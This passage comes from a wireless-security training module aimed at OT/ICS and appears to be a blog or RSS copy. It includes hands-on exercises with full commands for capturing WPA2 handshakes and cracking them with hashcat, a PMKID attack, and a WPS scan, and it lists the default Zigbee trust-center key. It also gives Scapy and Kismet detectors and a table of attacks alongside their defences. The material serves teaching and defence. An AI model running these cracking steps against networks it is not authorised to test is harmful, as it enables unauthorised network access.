&lt;span class="c"&gt;# zbdump -c 11 -w zigbee.pcap    # Capture on channel 11&lt;/span&gt;

&lt;span class="c"&gt;# 5. Verify no OT wireless connects directly to process network:&lt;/span&gt;
&lt;span class="c"&gt;# Check routing tables of hosts connected to OT wireless&lt;/span&gt;
&lt;span class="c"&gt;# Verify firewall rules between wireless VLAN and process VLAN&lt;/span&gt;

&lt;span class="c"&gt;# 6. Check for default Zigbee keys:&lt;/span&gt;
&lt;span class="c"&gt;# Default ZigBee trust center link key:&lt;/span&gt;
&lt;span class="c"&gt;# 5A6967426565416C6C69616E63653039 (hex)&lt;/span&gt;
&lt;span class="c"&gt;# "ZigBeeAlliance09" (ASCII)&lt;/span&gt;
&lt;span class="c"&gt;# If this key is in use: all traffic can be decrypted&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Wireless Network Survey (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Complete wireless environment mapping&lt;/span&gt;

&lt;span class="c"&gt;# Setup:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;aircrack-ng kismet wireshark &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Enable monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng check &lt;span class="nb"&gt;kill
sudo &lt;/span&gt;airmon-ng start wlan0
&lt;span class="c"&gt;# Note your interface name (wlan0mon or similar)&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Full survey&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--manufacturer&lt;/span&gt; wlan0mon 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/survey.txt &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;30
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Step 3: Analyse results&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Access Points Found ==="&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/survey.txt | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# Step 4: Categorise by security&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Open Networks (no encryption) ==="&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"OPN"&lt;/span&gt; /tmp/survey.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== WEP Networks (broken) ==="&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;" WEP "&lt;/span&gt; /tmp/survey.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== WPA Networks (deprecated) ==="&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;" WPA "&lt;/span&gt; /tmp/survey.txt | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; WPA2

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== WPA2 Networks ==="&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"WPA2"&lt;/span&gt; /tmp/survey.txt

&lt;span class="c"&gt;# Step 5: Check for WPS-enabled networks:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;wash &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon 2&amp;gt;/dev/null &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;20
&lt;span class="nb"&gt;kill&lt;/span&gt; %1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: Wireless Password Security Test (on your own network)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Test your own network's WPA2 password strength&lt;/span&gt;

&lt;span class="c"&gt;# IMPORTANT: Only do this on networks you own or have explicit permission to test&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Capture handshake from your own AP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--bssid&lt;/span&gt; YOUR_AP_BSSID &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--channel&lt;/span&gt; YOUR_CHANNEL &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/my_network &lt;span class="se"&gt;\&lt;/span&gt;
    wlan0mon &amp;amp;

&lt;span class="c"&gt;# Connect a device to your network (generates handshake)&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;30
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Step 2: Convert to hashcat format&lt;/span&gt;
hcxpcapngtool &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/my_hash.hc22000 /tmp/my_network-01.cap

&lt;span class="c"&gt;# Step 3: Test against common passwords&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 /tmp/my_hash.hc22000 /usr/share/wordlists/rockyou.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--quiet&lt;/span&gt;

&lt;span class="c"&gt;# If cracked: your password is too weak&lt;/span&gt;
&lt;span class="c"&gt;# If not cracked from rockyou: try rules:&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 /tmp/my_hash.hc22000 /usr/share/wordlists/rockyou.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-r&lt;/span&gt; /usr/share/hashcat/rules/best64.rule &lt;span class="nt"&gt;--quiet&lt;/span&gt;

&lt;span class="c"&gt;# Recommended minimum: 20+ character random password&lt;/span&gt;
&lt;span class="c"&gt;# or 6+ word passphrase (e.g., "correct-horse-battery-staple-wifi-2024!")&lt;/span&gt;

&lt;span class="c"&gt;# PMKID attack (no clients needed):&lt;/span&gt;
hcxdumptool &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/pmkid.pcapng &lt;span class="nt"&gt;--enable_status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;60
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

hcxpcapngtool &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/pmkid_hash.hc22000 /tmp/pmkid.pcapng
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 /tmp/pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: Build a Wireless Monitor System (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build a passive wireless monitoring system using Kismet&lt;/span&gt;

&lt;span class="c"&gt;# Install Kismet:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;kismet &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="c"&gt;# Configure:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/kismet/kismet_site.conf &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
# Monitor interface
source=wlan0

# Log settings
log_prefix=/tmp/kismet_logs
log_types=kismet,pcapng

# Alert on new APs (possible rogue):
alert=NEWAP,alert,1/sec,10/min
# Alert on probe requests (clients looking for networks):
alert=PROBEREQ,info,10/sec,100/min
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Run Kismet:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;kismet &lt;span class="nt"&gt;-c&lt;/span&gt; wlan0 &lt;span class="nt"&gt;--log-prefix&lt;/span&gt; /tmp/kismet

&lt;span class="c"&gt;# Access Kismet web interface:&lt;/span&gt;
&lt;span class="c"&gt;# http://localhost:2501 (default)&lt;/span&gt;
&lt;span class="c"&gt;# Default credentials set on first run&lt;/span&gt;

&lt;span class="c"&gt;# Generate analysis report:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import json, glob

# Find Kismet JSON exports
for f in glob.glob('/tmp/kismet*.kismet'):
    try:
        with open(f) as fp:
            data = json.load(fp)
        print(f"Networks found: {len(data.get('dot11.device', []))}")
    except:
        print(f"Could not parse {f}")

print("&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Manually review Kismet web interface for:")
print("  - All detected APs and their properties")
print("  - Client probe requests (PNL enumeration)")
print("  - Alert events (deauth, suspicious activity)")
print("  - Signal strength and location data")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: Detect Wireless Attacks (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create detection rules for common wireless attacks&lt;/span&gt;

&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/detect_wireless.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/usr/bin/env python3
"""
Wireless Attack Detector using Scapy
Detects: Deauth floods, Probe Request enumeration, Rogue AP indicators
"""
from scapy.all import *
from collections import defaultdict
import time

# Counters
deauth_count = defaultdict(int)
probe_requests = defaultdict(set)
seen_bssids = {}

# AUTHORISED APs — fill with your known APs
AUTHORISED_APS = {
    "AA:BB:CC:DD:EE:FF": "HomeNetwork",
    # Add your known BSSIDs
}

THRESHOLD_DEAUTH = 10    # Deauths per 10 seconds = alert
THRESHOLD_PROBES = 5     # SSIDs probed by single client = alert

def process_packet(pkt):
    current_time = time.time()

    # Deauthentication detection
    if pkt.haslayer(Dot11Deauth):
        src = pkt.addr2
        dst = pkt.addr1
        deauth_count[src] += 1

        if deauth_count[src] &amp;gt; THRESHOLD_DEAUTH:
            print(f"[ALERT] DEAUTH FLOOD: {src} → {dst} ({deauth_count[src]} frames)")
            deauth_count[src] = 0  # Reset counter

    # Probe Request monitoring (PNL enumeration)
    if pkt.haslayer(Dot11ProbeReq):
        client = pkt.addr2
        ssid = pkt.info.decode('utf-8', errors='ignore')
        if ssid:
            probe_requests[client].add(ssid)
            if len(probe_requests[client]) &amp;gt; THRESHOLD_PROBES:
                print(f"[INFO] CLIENT {client} probing {len(probe_requests[client])} networks:")
                for s in probe_requests[client]:
                    print(f"       - {s}")

    # Rogue AP detection
    if pkt.haslayer(Dot11Beacon):
        bssid = pkt.addr3
        try:
            ssid = pkt.info.decode('utf-8', errors='ignore')
        except:
            ssid = "unknown"

        if bssid not in seen_bssids:
            seen_bssids[bssid] = ssid
            if bssid not in AUTHORISED_APS:
                print(f"[NEW] Access Point: {bssid} SSID: '{ssid}'")
                # Check if SSID matches known SSID but BSSID is different:
                for auth_bssid, auth_ssid in AUTHORISED_APS.items():
                    if ssid == auth_ssid:
                        print(f"[ALERT] POSSIBLE ROGUE AP: '{ssid}' advertised by unauthorised BSSID {bssid}")

print("Starting wireless attack detection...")
print("Press Ctrl+C to stop")
print("Authorised APs:", AUTHORISED_APS)
print("")

# Requires monitor mode interface
sniff(iface="wlan0mon", prn=process_packet, store=0)
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 /tmp/detect_wireless.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Mechanism&lt;/th&gt;
&lt;th&gt;Primary Attack&lt;/th&gt;
&lt;th&gt;Key Defence&lt;/th&gt;
&lt;th&gt;OT/ICS Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;802.11 Standards&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Radio modulation, MIMO, channel bonding&lt;/td&gt;
&lt;td&gt;Match standard to expected protocol → identify WEP/WPA2 target&lt;/td&gt;
&lt;td&gt;Latest standard (WPA3) + firmware updates&lt;/td&gt;
&lt;td&gt;Legacy OT devices often 802.11b/g with WEP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2.4 GHz&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Long range, high penetration, 3 non-overlap channels&lt;/td&gt;
&lt;td&gt;Greater attack standoff distance, more interference&lt;/td&gt;
&lt;td&gt;Minimise use for sensitive traffic&lt;/td&gt;
&lt;td&gt;Dominant in industrial wireless sensors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;5 GHz&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium range, less interference, more channels&lt;/td&gt;
&lt;td&gt;More channels = harder complete monitoring&lt;/td&gt;
&lt;td&gt;Preferred for security-sensitive wireless&lt;/td&gt;
&lt;td&gt;Engineering workstation access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;6 GHz&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Short range, WPA3 mandatory, 59 non-overlap channels&lt;/td&gt;
&lt;td&gt;Limited attacker range&lt;/td&gt;
&lt;td&gt;WPA3 required → eliminates WPA2 attacks&lt;/td&gt;
&lt;td&gt;Emerging in modern OT infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Human-readable network name, broadcast in beacons&lt;/td&gt;
&lt;td&gt;Spoofing (any AP can claim any SSID)&lt;/td&gt;
&lt;td&gt;802.1X enterprise auth (not SSID-dependent)&lt;/td&gt;
&lt;td&gt;OT SSIDs reveal network structure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BSSID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MAC address of AP radio, spoofable in software&lt;/td&gt;
&lt;td&gt;MAC spoofing for evil twin&lt;/td&gt;
&lt;td&gt;WIDS monitoring known BSSID list&lt;/td&gt;
&lt;td&gt;Identifying rogue APs in OT zones&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WEP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RC4 + 24-bit IV, broken since 2001&lt;/td&gt;
&lt;td&gt;Aircrack-ng — cracked in &amp;lt;60 seconds&lt;/td&gt;
&lt;td&gt;ELIMINATE immediately&lt;/td&gt;
&lt;td&gt;Still found on legacy OT devices&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TKIP/RC4, interim fix for WEP&lt;/td&gt;
&lt;td&gt;Chop-chop, TKIP attacks&lt;/td&gt;
&lt;td&gt;Upgrade to WPA2/WPA3&lt;/td&gt;
&lt;td&gt;Deprecated — eliminate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPA2-PSK&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4-way handshake, PMKID, PBKDF2 password&lt;/td&gt;
&lt;td&gt;Handshake capture + offline GPU crack, PMKID&lt;/td&gt;
&lt;td&gt;Long random passwords (25+char), upgrade to WPA3&lt;/td&gt;
&lt;td&gt;Common in industrial environments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPA2-Enterprise&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;802.1X RADIUS, EAP types&lt;/td&gt;
&lt;td&gt;Evil twin + rogue RADIUS, MSCHAPv2 crack&lt;/td&gt;
&lt;td&gt;Certificate validation by supplicant, EAP-TLS&lt;/td&gt;
&lt;td&gt;Jump server/HMI authentication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPA3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SAE/Dragonfly, forward secrecy&lt;/td&gt;
&lt;td&gt;Downgrade to WPA2 in transition mode, implementation bugs (Dragonblood)&lt;/td&gt;
&lt;td&gt;WPA3-only mode, no WPA2 fallback&lt;/td&gt;
&lt;td&gt;Recommended for new OT deployments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Rogue AP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthorised AP connected to network&lt;/td&gt;
&lt;td&gt;Physical access + Ethernet port connection&lt;/td&gt;
&lt;td&gt;802.1X on all switch ports, wireless survey&lt;/td&gt;
&lt;td&gt;OT environment persistent rogue threat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Evil Twin&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AP mimicking legitimate network SSID&lt;/td&gt;
&lt;td&gt;Client auto-connect → MITM → credential capture&lt;/td&gt;
&lt;td&gt;802.1X enterprise auth, certificate validation, VPN kill switch&lt;/td&gt;
&lt;td&gt;Engineering workstation attack vector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Deauth Attack&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Forged management frames&lt;/td&gt;
&lt;td&gt;Force client reconnection for handshake capture, DoS&lt;/td&gt;
&lt;td&gt;802.11w (Protected Management Frames), WPA3&lt;/td&gt;
&lt;td&gt;OT wireless sensor disruption risk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPS PIN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8-digit PIN split authentication&lt;/td&gt;
&lt;td&gt;Reaver: 11,000 guesses max, Pixie Dust: seconds&lt;/td&gt;
&lt;td&gt;Disable WPS entirely&lt;/td&gt;
&lt;td&gt;OT APs should have WPS disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;KRACK&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4-way handshake nonce reuse via message replay&lt;/td&gt;
&lt;td&gt;Decrypt WPA2 traffic&lt;/td&gt;
&lt;td&gt;OS patches (2017-2018), WPA3&lt;/td&gt;
&lt;td&gt;Unpatched OT systems still vulnerable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WirelessHART&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IEEE 802.15.4, AES-128 mesh&lt;/td&gt;
&lt;td&gt;Default join keys, eavesdropping&lt;/td&gt;
&lt;td&gt;Unique per-device join keys, key rotation&lt;/td&gt;
&lt;td&gt;Primary OT sensor networking technology&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Zigbee&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IEEE 802.15.4, AES-128 with poor key management&lt;/td&gt;
&lt;td&gt;Default trust center key, network key extraction&lt;/td&gt;
&lt;td&gt;Unique link keys, disable trust center link key&lt;/td&gt;
&lt;td&gt;Building automation, some industrial&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.8-network-analysis-tools.md"&gt;Stage 1.8 — Network Analysis Tools&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.6-network-devices.md"&gt;Stage 1.6 — Network Devices&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>bytewall</category>
      <category>software</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
